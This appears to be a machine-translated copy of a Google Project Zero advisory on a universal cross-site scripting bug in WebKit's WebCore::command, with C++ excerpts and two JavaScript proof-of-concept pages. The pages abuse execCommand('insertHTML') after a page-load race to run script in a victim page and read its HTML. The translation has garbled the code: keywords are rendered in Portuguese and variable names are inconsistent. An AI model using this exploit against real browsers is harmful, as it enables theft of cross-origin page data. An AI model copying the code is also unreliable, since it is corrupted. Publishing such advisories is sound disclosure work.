WebKit – Universal XSS in WebCore::command
<! –
DETALHES DA VULNERABILIDADE
“ “
static Editor :: Command command (Documento * documento, const String & commandName, bool userInterface = false)
{
RefPtr <Frame> quadro = documento-> quadro ();
if (! frame || frame-> document ()! = document) // *** 1 ***
retornar Editor :: Command ();
document-> updateStyleIfNeeded (); // *** 2 ***
retornar frame-> editor (). command (commandName,
interface de usuário ? CommandFromDOMWithUserInterface: CommandFromDOM);
}
bool Document :: execCommand (const String & commandName, bool userInterface, const String & valor)
{
EventQueueScope eventQueueScope;
comando de retorno (this, commandName, userInterface) .execute (value);
}
“ “
Esse bug é semelhante a https://bugs.chromium.org/p/project-zero/issues/detail?id=1133. `comando`
chama `updateStyleIfNeeded` [2], o que pode desencadear a execução do JavaScript, por exemplo, via
`HTMLObjectElement :: updateWidget`. Se o código JS acionar um novo carregamento de página, o comando editor será
ser aplicado à página errada. O método verifica se o argumento `document` é o documento que está
atualmente exibido na página, mas o faz * antes * da chamada `updateStyleIfNeeded`. Um atacante
pode explorar esse bug para executar o comando “InsertHTML” e executar JavaScript no contexto do
página da vítima.
VERSÃO
Revisão do WebKit 246194
Safari versão 12.1.1 (14607.2.6.1.1)
CASO DE REPRODUÇÃO
O caso de teste requer que a página da vítima tenha um elemento selecionado quando a carga estiver concluída. UMA
Um caso adequado comum é quando a página contém um elemento <input> com foco automático.
“ “
<body>
<script>
função createURL (dados, tipo = ‘text / html’) {
retornar URL.createObjectURL (novo Blob ([dados], {tipo: tipo}));
}
função waitForLoad () {
showModalDialog (createURL (`
<script>
deixe-o = setInterval (() => {
experimentar {
opener.w.document.x;
} captura (e) {
clearInterval (it);
window.close ();
}
} 100);
</ scrip` + ‘t>’));
}
vítima_url = ‘https://trac.webkit.org/search’;
cache_frame = document.body.appendChild (document.createElement (‘iframe’));
cache_frame.src = vítima_url;
cache_frame.style.display = ‘nenhum’;
onclick = () => {
w = aberto ();
obj = document.createElement (‘objeto’);
obj.data = ‘about: blank’;
obj.addEventListener (‘load’, function () {
a = w.document.createElement (‘a’);
a.href = vítima_url;
a.click ();
waitForLoad ();
});
w.document.body.appendChild (obj);
w.document.execCommand (‘insertHTML’, false,
‘<iframe onload = “alert (document.documentElement.outerHTML)” src = “about: blank”> </iframe>’);
}
</script>
</body>
“ “
repro_iframe.html contém uma versão que usa um <iframe> em vez de uma nova janela e funciona em
Safari 12.1.1.
INFORMAÇÃO DE CRÉDITO
Sergei Glazunov, do Google Project Zero
->
<body>
<script>
função createURL (dados, tipo = ‘text / html’) {
retornar URL.createObjectURL (novo Blob ([dados], {tipo: tipo}));
}
função waitForLoad () {
showModalDialog (createURL (`
<script>
deixe-o = setInterval (() => {
experimentar {
opener.w.document.x;
} captura (e) {
clearInterval (it);
window.close ();
}
} 100);
</ scrip` + ‘t>’));
}
vítima_url = ‘dados: text / html, <h1> dados secretos </h1> <input autofocus>’;
cache_frame = document.body.appendChild (document.createElement (‘iframe’));
cache_frame.src = vítima_url;
cache_frame.style.display = ‘nenhum’;
vítima_frame = document.body.appendChild (document.createElement (‘iframe’));
vit_frame.style.width = vit_frame.style.height = ‘100%’;
vítima_frame.contentDocument.write (‘<h1> clique para iniciar </h1>’);
victory_frame.contentWindow.onclick = (() => {
obj = document.createElement (‘objeto’);
obj.data = ‘about: blank’;
obj.addEventListener (‘load’, function () {
a = vítima_frame.contentDocument.createElement (‘a’);
a.href = vítima_url;
a.click ();
waitForLoad ();
});
vítima_frame.contentDocument.body.appendChild (obj);
vítima_frame.contentDocument.execCommand (‘insertHTML’, false,
‘<iframe onload = “alert (document.firstChild.outerHTML)” src = “about: blank”> </iframe>’);
});
</script>
</body>